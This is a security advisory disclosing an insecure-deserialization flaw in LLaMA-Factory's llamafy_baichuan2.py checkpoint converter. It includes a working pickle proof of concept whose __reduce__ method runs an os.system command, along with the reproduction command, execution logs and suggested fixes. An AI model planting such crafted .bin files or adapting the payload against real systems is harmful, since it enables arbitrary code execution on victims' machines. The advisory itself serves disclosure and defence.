PYSEC-2026-1574

Description

A critical vulnerability exists in the llamafy_baichuan2.py script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load() on user-supplied .bin files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin file that executes arbitrary commands during deserialization.

Attack Vector

This vulnerability is exploitable without authentication or privileges when a user is tricked into:

1. Downloading or cloning a malicious project folder containing a crafted .bin file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script llamafy_baichuan2.py, either manually or as part of an example workflow.

No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir.

Impact

• Arbitrary command execution (RCE)
• System compromise
• Persistence or lateral movement in shared compute environments

Proof of Concept (PoC)

# malicious_payload.py
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))  # Arbitrary command

malicious_data = {
    "v_head.summary.weight": MaliciousPayload(),
    "v_head.summary.bias": torch.randn(10)
}

with open("value_head.bin", "wb") as f:
    pickle.dump(malicious_data, f)

An example of config.json:

{
  "model": "value_head.bin",
  "hidden_size": 4096,
  "num_attention_heads": 32,
  "num_hidden_layers": 24,
  "initializer_range": 0.02,
  "intermediate_size": 11008,
  "max_position_embeddings": 4096,
  "kv_channels": 128,
  "layer_norm_epsilon": 1e-5,
  "tie_word_embeddings": false,
  "vocab_size": 151936
}

(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
    |-- LICENSE
    |-- README.md
    |-- malicious_folder
    |   |-- config.json
    |   `-- value_head.bin
    `-- xxxxx(Irrelevant documents omitted)

# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out

➡️ Running this will execute the malicious payload and create a HACKED! folder.

(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
    fire.Fire(llamafy_baichuan2)
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
    component_trace = _Fire(component, args, parsed_flag_args, context, name)
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
    component, remaining_args = _CallAndUpdateTrace(
                                ^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
    component = fn(*varargs, **kwargs)
                ^^^^^^^^^^^^^^^^^^^^^^
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
    save_weight(input_dir, output_dir, shard_size, save_safetensors)
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
 CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src
'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests

Affected File(s)

• https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
• scripts/convert_ckpt/llamafy_baichuan2.py
• Line: torch.load(os.path.join(input_dir, filepath), map_location="cpu")

Suggested Fix

• Replace torch.load() with safer alternatives like safetensors.
• Validate and whitelist file types before deserialization.
• Require checksum validation.

Example patch:

# Replace torch.load() with safe deserialization
try:
    from safetensors.torch import load_file
    tensor_data = load_file(filepath)
except Exception:
    print("Invalid or unsafe checkpoint file.")
    return

Workarounds

• Avoid running the script with untrusted .bin files.
• Use containers or VMs to isolate script execution.

References

• torch.load() — PyTorch Docs
• CWE-502: Deserialization of Untrusted Data

Credits

Discovered and reported by Yu Rong and Hao Fan, 2025-04-23